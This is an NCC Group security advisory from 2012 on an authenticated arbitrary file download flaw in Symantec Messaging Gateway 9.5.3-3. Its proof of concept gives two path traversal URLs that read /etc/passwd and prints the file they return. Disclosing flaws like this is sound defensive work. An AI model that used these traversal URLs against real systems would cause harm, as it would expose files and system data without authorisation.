Symantec Messaging Gateway 9.5.3-3 Arbitrary File Download

`=======  
Summary  
=======  
Name: Symantec Messaging Gateway - Arbitrary file download is possible with a crafted URL (authenticated)  
Release Date: 30 November 2012  
Reference: NGS00266  
Discoverer: Ben Williams <[email protected]>  
Vendor: Symantec  
Vendor Reference:   
Systems Affected: Symantec Messaging Gateway 9.5.3-3  
Risk: Medium  
Status: Published  
  
========  
TimeLine  
========  
Discovered: 17 April 2012  
Released: 17 April 2012  
Approved: 29 April 2012  
Reported: 30 April 2012  
Fixed: 27 August 2012  
Published: 30 November 2012  
  
===========  
Description  
===========  
I. VULNERABILITY  
-------------------------  
Symantec Messaging Gateway 9.5.3-3 - Arbitrary file download is possible with a crafted URL (authenticated)  
  
II. BACKGROUND  
-------------------------  
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance  
  
III. DESCRIPTION  
-------------------------  
The vulnerability would enable an attacker (who has authenticated to the web interface) to download arbitrary files from the appliance with the permissions of the Webserver user  
  
=================  
Technical Details  
=================  
IV. PROOF OF CONCEPT  
-------------------------  
Various files containing sensitive information can be downloaded using a crafted URL for example:  
  
http://192.168.1.59:41080/brightmail/export?type=logs&logFile=../../../etc/passwd&logType=1&browserType=1  
  
Which produces a file containing:  
  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
news:x:9:13:news:/etc/news:  
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin  
operator:x:11:0:operator:/root:/sbin/nologin  
games:x:12:100:games:/usr/games:/sbin/nologin  
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin  
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
nobody:x:99:99:Nobody:/:/sbin/nologin  
rpm:x:37:37::/var/lib/rpm:/bin/bash  
ntp:x:38:38::/etc/ntp:/sbin/nologin  
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin  
postfix:x:100:101::/home/postfix:/bin/bash  
mailwall:x:500:501::/home/mailwall:/bin/bash  
mysql:x:501:103::/home/mysql:/bin/bash  
bcc:x:502:99::/home/bcc:/bin/bash  
support:x:503:503::/home/support:/bin/bash  
admin:x:504:501::/home/admin:/bin/rbash  
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin  
pcap:x:77:77::/var/arpwatch:/sbin/nologin  
named:x:25:25:Named:/var/named:/sbin/nologin  
  
Simliar issues can be seen in other places such as here:  
  
http://192.168.1.59:41080/brightmail/admin/restore/download.do?no-cache=false&displayTab=restore&restoreSource=APPLIANCE&localBackupFileSelection=../../etc/passwd  
  
===============  
Fix Information  
===============  
An updated version of the software has been released to address the vulnerability:  
  
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00  
  
NCC Group Research  
http://www.nccgroup.com/research  
  
  
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